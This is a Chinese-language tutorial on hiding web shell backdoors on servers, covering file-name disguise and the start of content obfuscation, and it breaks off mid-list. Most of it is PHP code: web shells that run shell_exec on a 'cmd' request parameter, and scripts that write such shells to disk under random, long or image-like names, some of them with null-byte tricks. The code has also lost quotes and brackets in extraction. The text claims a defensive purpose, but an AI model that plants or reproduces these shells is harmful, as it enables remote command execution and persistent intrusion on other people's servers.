Web Shell后门攻击：Web Shell的通信机制_（9）.WebShell的隐藏技术.docxVIP

PAGE1

PAGE1

WebShell的隐藏技术

在上一节中，我们讨论了WebShell的基本概念和如何利用WebShell进行攻击。本节将重点介绍WebShell的隐藏技术，这些技术使得攻击者能够将WebShell后门文件隐藏在目标系统的文件中，以逃避检测和清理。了解这些隐藏技术对于防御者来说至关重要，因为它们能够帮助识别和清除隐藏的后门文件。

1.文件名隐藏

文件名隐藏是WebShell最常见的隐藏技术之一。通过选择看似无害或与正常文件名相似的名字，攻击者可以将WebShell文件隐藏在服务器的文件系统中。

1.1常见的文件名隐藏方法

使用常见文件扩展名：如.jpg、.png、.txt等，这些文件扩展名通常不会引起怀疑。

使用随机文件名：生成随机的文件名，使得文件在目录中难以被发现。

使用特殊字符：在文件名中使用特殊字符，如空格、制表符等，使得文件名在列表中不显眼。

使用长文件名：生成超长的文件名，使得文件列表难以显示完整文件名。

1.2代码示例

1.2.1使用常见文件扩展名

?php

//伪装成图片文件的WebShell

//文件名：image.jpg.php

if(isset($_GET[cmd])){

$cmd=$_GET[cmd];

$output=shell_exec($cmd);

echopre$output/pre;

}

?

1.2.2使用随机文件名

?php

//生成随机文件名的WebShell

//文件名：random_shell.php

functiongenerate_random_filename($length=10){

$characters=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ;

$charactersLength=strlen($characters);

$randomString=;

for($i=0;$i$length;$i++){

$randomString.=$characters[rand(0,$charactersLength-1)];

}

return$randomString..php;

}

$filename=generate_random_filename();

file_put_contents($filename,?phpif(isset($_GET[cmd])){\$cmd=\$_GET[cmd];\$output=shell_exec(\$cmd);echo\pre\$output/pre\;}?);

echoWebShellcreatedwithfilename:.$filename;

?

1.2.3使用特殊字符

?php

//伪装成图片文件的WebShell

//文件名：image.jpg%00.php

if(isset($_GET[cmd])){

$cmd=$_GET[cmd];

$output=shell_exec($cmd);

echopre$output/pre;

}

?

1.2.4使用长文件名

?php

//生成超长文件名的WebShell

//文件名：very_very_very_long_filename.php

$filename=very_very_very_long_filename.php;

file_put_contents($filename,?phpif(isset($_GET[cmd])){\$cmd=\$_GET[cmd];\$output=shell_exec(\$cmd);echo\pre\$output/pre\;}?);

echoWebShellcreatedwithfilename:.$filename;

?

2.文件内容隐藏

文件内容隐藏技术通过修改WebShell文件的内容，使其看起来像正常的文件，从而避免被检测工具发现。

2.1常见的文件内容隐藏方法

使用Base64编码：将WebShell代码进行Base64编码，再在运行时解码执行。

使用混淆技术：通过混淆代码，使得其难以阅读和理解。

嵌入正常文件中：将WebShell代码嵌入到正常的文件中，如图片、JavaScr